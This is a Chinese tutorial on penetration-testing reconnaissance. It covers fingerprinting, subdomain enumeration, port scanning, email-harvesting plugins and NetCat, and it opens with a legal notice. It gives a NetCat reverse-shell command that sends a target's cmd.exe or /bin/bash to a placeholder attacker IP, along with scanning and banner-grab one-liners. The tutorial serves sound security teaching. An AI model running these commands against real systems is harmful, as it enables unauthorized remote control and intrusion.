网络安全信息收集
《网络安全法》明确禁止非法侵入网络、干扰功能、窃取数据等行为。文章详细介绍了网络信息收集技术,包括操作系统识别(Windows/Linux特征)、中间件判断(IIS/Apache)、CMS识别方法;子域名收集工具和端口扫描技术(Masscan/Nmap);浏览器插件辅助(Wappalyzer/Hunter);重点讲解了NetCat工具的多种应用场景,如聊天通信、文件传输、反弹Shell和端口扫描。
中华人民共和国网络安全法
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具:明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
一、 看脸识系统:Web基础信息收集
这就好比去朋友家做客,首先得知道他家是别墅(Linux)还是洋楼(Windows)吧?
-
操作系统收集
- Windows特征:通常比较“张扬”,有时候在网页的报错信息或者HTTP头里,直接就能看到
Windows的字样。 - Linux特征:比较“内敛”,但如果你看到
Debian、Ubuntu或者路径里带着/(斜杠),那基本就是它了。
- Windows特征:通常比较“张扬”,有时候在网页的报错信息或者HTTP头里,直接就能看到
-
中间件与脚本语言
- 中间件(Web Server):这是网站的“门面”。
- IIS:通常是 Windows 家的,看到它多半是微软系。
- Apache/Nginx:通常是 Linux 家的,看到它们多半是开源系。
- 脚本语言:这是网站的“内脏”。
- PHP:最常见,看网页后缀是不是
.php,或者通过搜索引擎搜一下特定的报错页面。 - ASP/ASP.NET:通常是 Windows + IIS 的组合拳。
- PHP:最常见,看网页后缀是不是
- 中间件(Web Server):这是网站的“门面”。
-
源码与CMS识别
- F12大法:按
F12打开开发者工具,看网页源代码里的注释。很多网站(比如 WordPress)会在源代码里留个“到此一游”的标记,直接告诉你它用的什么系统。 - 搜索引擎:把看到的特殊文件路径或者HTML特征丢进百度/Google,往往能搜出这是哪个CMS的模板。
- F12大法:按
二、 顺藤摸瓜:域名与网络空间测绘
光知道一个网站不够,我们还要看看它还有多少“亲戚”(子域名)和“家产”(开放端口)。
-
子域名收集
- 在线工具:善用站长工具、IP138或者Chaziyu这类网站,输入主域名(如
vivo.com.cn),就能查出一堆子域名(如crm.vivo.com)。 - 工具辅助:使用“Layer子域名挖掘机”这类工具,通过字典爆破,把隐藏的子域名都挖出来。
- 在线工具:善用站长工具、IP138或者Chaziyu这类网站,输入主域名(如
-
端口扫描(侦察兵)
- 常看端口:
80/443:Web网站(大门)。3306:MySQL数据库(仓库)。6379:Redis缓存(高速小仓库)。22/3389:远程登录(后门)。
- 扫描利器:
- Masscan:号称“闪电侠”,速度极快,适合先扫一整个网段(C段),看看哪些IP是活的。
- Nmap:老将出马,一个顶俩。适合对Masscan扫出来的结果进行详细探测(
-sV查服务版本,-O查系统版本)。
- 常看端口:
-
网络空间测绘(搜索引擎)
- Shodan / FOFA / ZoomEye:这些是黑客专用的搜索引擎。你可以用它们搜索“操作系统:Debian”或者“端口:3306”,直接把互联网上所有符合条件的设备都列出来。
三、 浏览器插件:你的信息收集外挂
工欲善其事,必先利其器。给浏览器装上这些“外挂”,能让你事半功倍。
- Wappalyzer:自动识别网站使用的技术栈(比如:PHP 7.4 + Nginx + Vue.js)。
- FOFA Pro View / Shodan:浏览网页时,直接在插件栏看到该IP的其他开放端口和关联信息。
- FindSomething:自动分析网页源代码和JS文件,帮你找隐藏的URL、API接口,甚至可能泄露的Key。
- Hunter:专门用来收集企业邮箱地址,是“社工库”的好帮手。
四、 重头戏:NetCat(NC)—— 网络安全的“瑞士军刀”
如果说前面的工具是雷达,那NetCat就是一把万能钥匙。它体积小,功能却极其强大,可以通过TCP/UDP协议读写数据。
1. NC的基础参数(命令暗号)
-l:监听模式(我在家等你打电话)。-p:指定端口(打哪个电话号码)。-v:显示详细过程(告诉我发生了什么)。-n:不解析域名,直接用IP(不查通讯录,直接拨号)。-e:程序重定向(重点,用于反弹Shell)。-z:只扫描,不交互(悄悄路过,不敲门)。
2. 实战场景演练
-
场景一:简单的聊天工具
- 服务端(先开):
nc.exe -lp 6666(意思是:我在6666端口等着听你说话)。 - 客户端(后开):
nc.exe 127.0.0.1 6666(意思是:我要连接本地的6666端口)。 - 连上之后,两边就能像微信一样打字聊天了。
- 服务端(先开):
-
场景二:文件传输(偷偷传小纸条)
- 传过去(客户端 -> 服务端):
- 服务端:
nc.exe -lp 6666 > out.txt(准备把收到的东西存到out.txt)。 - 客户端:
nc.exe 127.0.0.1 6666 < a.txt(把a.txt的内容发过去)。
- 服务端:
- 传过去(客户端 -> 服务端):
-
场景三:反弹Shell(远程遥控电脑)
- 正向连接:
- 攻击者监听:
nc -lvp 9999。 - 目标机执行:
nc -e cmd.exe 攻击者IP 9999。 - 结果:目标机直接把cmd(命令行)权限交给了攻击者。
- 攻击者监听:
- Linux反弹:原理一样,把
cmd.exe换成/bin/bash。
- 正向连接:
-
场景四:端口扫描与Banner抓取
- 扫描端口:
nc -n -v -w1 -z 192.168.1.1 1-100。 - 抓取Banner:
echo " " | nc -n -v -w1 IP 端口,获取服务的欢迎信息。
- 扫描端口:
五、 进阶:用Python手搓一个情报机器人
手动查IP、查域名太累了,我们可以让Python帮我们干活。
-
IP与Whois查询
- 利用
socket.gethostbyname()函数,输入域名直接返回IP。 - 利用
python-whois模块,查询域名的注册人、注册商和过期时间。
- 利用
-
子域名爆破脚本
- 原理:写一个循环,读取字典文件(dict.txt),把每个单词拼接到主域名前(如
admin.xxx.com),然后尝试解析IP。如果解析成功,说明这个子域名存在。
- 原理:写一个循环,读取字典文件(dict.txt),把每个单词拼接到主域名前(如
-
多线程端口扫描器
- 流程:利用
socket模块的connect()方法,尝试连接目标IP+端口。 - 加速:利用
threading模块开启多线程,同时扫描多个端口,速度比单线程快几十倍。
- 流程:利用
温馨提示:技术无罪,但使用技术的人有责。请严格遵守《网络安全法》,在授权范围内进行测试。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)